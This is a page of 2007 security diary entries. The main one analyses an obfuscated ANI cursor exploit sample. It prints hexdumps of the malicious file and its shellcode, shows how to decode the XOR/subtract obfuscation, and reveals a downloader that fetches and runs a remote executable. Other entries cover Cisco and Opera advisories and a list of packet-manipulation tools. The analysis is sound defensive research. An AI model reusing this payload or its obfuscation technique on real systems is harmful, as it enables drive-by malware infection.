Multiple vulnerabilities in Cisco IOS SSL implementation

Published: 2007-05-22. Last Updated: 2007-05-22 21:38:07 UTC
by Bojan Zdrnja (Version: 1)
0 comment(s)
Cisco published an advisory about multiple vulnerabilities in their IOS SSL implementation (http://www.cisco.com/en/US/products/products_security_advisory09186a0080847c49.shtml).
Several SSL messages (ClientHello, ChangeCipherSpec and Finished), when malformed, can cause Cisco IOS devices to crash.

Cisco said that this is only a DoS attack (no code execution seems to be possible) but as there are a lot of affected devices you should either install the patch or follow the workarounds (which are to disable the affected service(s)).

Thanks to Marc, CJ and Jim.
Keywords:
0 comment(s)

Analyzing an obfuscated ANI exploit

Published: 2007-05-22. Last Updated: 2007-05-22 20:54:57 UTC
by Bojan Zdrnja (Version: 3)
0 comment(s)
Some time ago one of our readers, Andrew, submitted an interesting ANI exploit sample. Unless you’ve been under a rock for the last couple of months, you heard about the latest ANI vulnerability.

Most of the exploits we’ve seen so far (and we’ve seen thousands of them) didn’t try to obfuscate the exploit code. The exploit code itself almost always contained a downloader that downloaded the second stage binary from a remote site and executed it on the victim’s machine.

As the exploit wasn’t obfuscated, running a simple string commands was enough to see the URL of the second stage binary. So, in order to see the second stage binary, Andrew ran the strings command on the new ANI exploit, however, this time no URL was present:

$ strings 123.htm
RIFF
ACONanih$

jvvr<1142;03820940:21921PQVGRCF0GZG
IgvRtqeCfftguu


Those experienced analysts amongst you will immediately notice the string starting with jvvr< and will comment that this must be a XOR-ed URL (http://something). In other words, it appears that this exploit is obfuscating the target URL. Andrew came to the same conclusion and tried to crack the XOR code.

If you try to XOR jvvr to get http, you will see that the correct XOR value is 0x02. The easiest way to do this is to use a nice little utility by Didier Stevens called XORSearch (http://didierstevens.wordpress.com/programs/xorsearch/). This utility allows you to brute force a file in order to find a XOR key for any string in the file. So I downloaded the utility and ran it on the ANI exploit sample and indeed, the correct XOR value for the http string is 0x02, but the rest of the URL was still not there:

D:\>XORSearch.exe 123.htm http
Found XOR 02 position 01FB: http>3360921:02;62803;03RSTEPAD2EXE


We can see something at the end as well that looks like notepad.exe. This means that the URL is either XOR-ed with multiple keys or some other obfuscation is used. At this point you have couple of options: you can play with brute forcing, you can infect a goat machine and just see what happens (it’s easy enough to capture network traffic of the goat machine and see what the target URL is) or you can try to analyze the exploit code itself – and that’s what we’ll do.

The trick with the latest ANI exploit was that the two bytes after the “anih” section define how many bytes are to be copied. As the vulnerable function reserved only 36 bytes on the stack it was easy to cause a buffer overflow (I won’t go into details now but the first section copy function was patched previously). So, let’s see what we have in this file:

$ xxd 123.htm
0000000: 5249 4646 0004 0000 4143 4f4e 616e 6968 RIFF....ACONa n i h
0000010: 2400 0000 2400 0000 ffff 0000 0a00 0000 $...$...........
0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000030: 1000 0000 0100 0000 5453 494c 0300 0000 ........TSIL....
0000040: 1000 0000 5453 494c 0300 0000 0202 0202 ....TSIL........
0000050: 616e 6968 a803 0000 0b0b 0b0b 0b0b 0b0b a n i h............
0000060: 0b0b 0b0b 0b0b 0b0b 0b0b 0b0b 0b0b 0b0b ................


We sure have two anih section. The buffer size of the second section (highlighted above) is 0x03a8 which is actually 936 bytes – right to the end of the file. We can also see that this section starts with a lot of 0x0b bytes. After a bunch of 0x0b bytes we can see something that looks like real code:

00000a0: 0b0b 0b0b 0b0b 0b0b 17a2 4000 0b0b 0b0b ..........@.....
00000b0: 0b0b 0b0b 0b0b 0b0b 0b0b 0b0b 0b0b 0b0b ................
00000c0: 31c9 6681 c138 02eb 035e eb05 e8f8 ffff 1.f..8...^......
00000d0: ff83 c609 802e 0246 e2fa ea02 0202 025f .......F......._
00000e0: 83ef 2f14 4202 ea8a 0302 028f 872b 1542 ../.B........+.B
00000f0: 02ea 0202 0277 746e 6f71 7030 666e 6e02 .....wtnoqp0fnn.


So what we’ll do now is take this code and disassemble it. It looks like the real code starts at 0x00000c0, so let’s get rid of everything before that:

$ dd if=123.htm of=code ibs=1 skip=192

Now there are various ways on how to disassemble this. If you are lucky and have a license for IDA Pro you can just load this file into it (actually, you can even load the 123.htm file and then manually tell IDA Pro to start disassembling the code around 0x00000c0). As I really like OllyDbg, I tend to do everything with it but in order to load this code into OllyDbg we have to create a PE file. The process now is same as when you analyze a shellcode so the easiest way is to use iDefense’s Malcode Analysis Pack and its Shellcode2Exe utility (http://labs.idefense.com/software/malcode.php#more_malcode+analysis+pack).

Once you’ve done this you will have an executable file with proper sections and headers that actually executes your code. This is how it looks in OllyDbg:

OllyDbg

So what do we have here? The real code starts at 0x00401020. It first zeroes the ECX register (the XOR command) and adds 0x238 to it. Then it does couple of jumps and a CALL in order to get the address of the ADD ESI,9 instruction into the ESI register. This is a standard method to get the code address into a register (a CALL instruction followed by a POP instruction). The code skips 9 bytes and then loops for next 0x238 bytes. In the loop, each byte is decreased by 0x02! Aha, so this is how they obfuscated it – the code modifies itself completely (both the URL and the actual code).

You can now execute this in OllyDbg and see what happens (you will have to set a breakpoint after the loop and then tell OllyDbg to re-analyze this section). Or, if you are just interested in the final URL, we can use perl to subtract 0x02 of every byte in this file:

$ perl -pe 's/(.)/chr(ord($1)-0x02)/ge' < code > final

$ strings final
urlmon.dll
URLDownloadToFileA
c:\boot.inx
c:\boot.inx
LoadLibraryA
WinExec
ExitProcess
http://[REMOVED].72.80/70/NOTEPAD.EXE
GetProcAddress


And here we are! You can see that the code loads urlmon.dll, uses URLDownloadToFileA() function to download the URL at the bottom and saves this as c:\boot.inx.

Luckily, the AV vendors where on the ball this time – almost all AV vendors detected the ANI file properly (I do wonder if they had specific signatures for this or used a generic/heuristic one).

UPDATE

Just as I wrote that almost all AV vendors detected this sample properly, it looks like some are raising false positives as well.

We received several e-mails from our readers stating that Norton Internet Security (Symantec) detects this diary as an intrusion (“HTTP ANI File Anih Hdr Size BO”) and as a result blocks access to the diary, no matter what browser you’re using.
This is clearly a false positive as there are no ANI files in the diary (just one PNG screenshot of OllyDbg):

$ file ollyani.PNG
ollyani.PNG: PNG image data, 689 x 513, 8-bit/color RGB, non-interlaced

My guess is that they must be triggering on the hexdump or the ASCII part of it. If you are running an affected version of Symantec and have some time to play with it, it would be interesting to see what exactly triggers this – let us know if you figure this out.

Bojan

UPDATE 2

It looks like there were false positives with some other products as well, including Check Point's SmartDefense and some Snort signatures. I quickly checked the Snort signatures and it looks like they were triggering on the anih string followed by 4 bytes bigger than 36 - I added some spaces into the anih strings above, this will hopefully prevent Snort from triggering.

Symantec also informed us that they will release an update to fix this problem.

Bojan
Keywords:
0 comment(s)

Followup to packet tools story

Published: 2007-05-22. Last Updated: 2007-05-22 18:57:13 UTC
by Jim Clausing (Version: 1)
0 comment(s)
As promised (several weeks ago) here is the followup to my earlier story asking for suggestions of tools for capturing, generating/modifying, or replaying IP packets.  The response from our readers was overwhelming and I wanted to thank all who responded.  Since the day job and family life got in the way of posting this sooner, I'm just going to post the list of tools today.  Later this week, I hope to update this story and categorize the tools a little bit.  Because of the tremendous response, I plan to look at a couple of the tools in more detail on my next HOD shift (unless there is some massive breaking story that requires my attention then).

  • netdude
  • nemesis
  • ettercap
  • daemonlogger
  • netcat
  • dsniff
  • yersinia
  • hunt
  • bittwist
  • scruby
  • sing
  • rain
  • nbtscan
  • netwox
  • thc-rut
  • ntop
  • scanrand
  • CommView (commercial tool)
  • xprobe2
  • lft
  • tcpflow
  • tcpxtract
  • kismet
  • queso
  • fragrouter
  • amap
  • thcipv6
  • thcscan
  • juggernaut
  • gspoof
  • aldeberan
  • dhcping (there are apparently 2 different tools by this name)
I would also be remiss if I didn't include a pointer to fellow handler Bill Stearns' page of pcap tools (why didn't I just ask him first....?) at http://www.stearns.org/doc/pcap-apps.html.  Again, thanx to all those who responded.
Keywords:
0 comment(s)

Opera fixes the torrent vulnerability

Published: 2007-05-22. Last Updated: 2007-05-22 14:24:14 UTC
by Bojan Zdrnja (Version: 1)
0 comment(s)
Opera Software has released Opera 9.21. This version fixes a buffer overflow vulnerability that can be exploited with malicious torrent files and lead to arbitrary code execution. According to Opera’s advisory available at http://www.opera.com/support/search/view/860/, the vulnerability can be exploited only when the user right-clicks on the malicious torrent entry in the transfer manager – just clicking on the torrent link is ok.

New version can be downloaded from http://www.opera.com/download/.

Thanks to Juha-Matti.
Keywords:
0 comment(s)

Auscert day 2 update

Published: 2007-05-22. Last Updated: 2007-05-22 14:23:20 UTC
by Mark Hofman (Version: 1)
0 comment(s)
The second day of Auscert has passed with a number of interesting presentations. I didn’t quite get to all the sessions I wanted to due to meetings and clashing times, but that’s the way it goes.

Keynote
The keynote today was delivered by Howard A. Schmidt (R & H Security Consulting, LLC), an interesting speaker, known to many of us.  He brought up a number of interesting ideas.  One observation was that organised crime has changed focus somewhat over the last few years. It used to be “grab all the information you can” and see what can be sold. Nowadays it is more targeted, specific types of accounts or details are harvested and sold.

Another area Howard explored was quality control in coding. He posed the question “30 years after the first buffer overflow, why do we still have to deal with it today?” He also provided an explanation as to why patching was more expensive for a software house, than proper quality control and testing.

Howard touched on IPv6 as an opportunity to get it right the first time as well issues relating to wireless networks that are being deployed around the world by council’s, etc.

He finished by discussing Peer 2 Peer networks where personal and corporate information is being shared, evident through searches on these types of networks.

Chkrootkit
Nelson Murilo (Pangeia) is the author of chkrootkit.  He explained where the idea came from and took us through the different generations of the products over the last 10 years.

ISO 27001 Certification Process
Tammy Clark (Georgia State University) took us through the process that Georgia State University went through to implement an Information Security Management System (ISMS). The presentation discussed some of the basic steps needed and some of the challenges faced by the university.

There was an R&D stream where students presented papers on their research, which made an interesting change from the main stream presentations.

Tomorrow is the last day before the tutorial sessions on Thursday and Friday.
Cheers
Keywords:
0 comment(s)

Comments


Diary Archives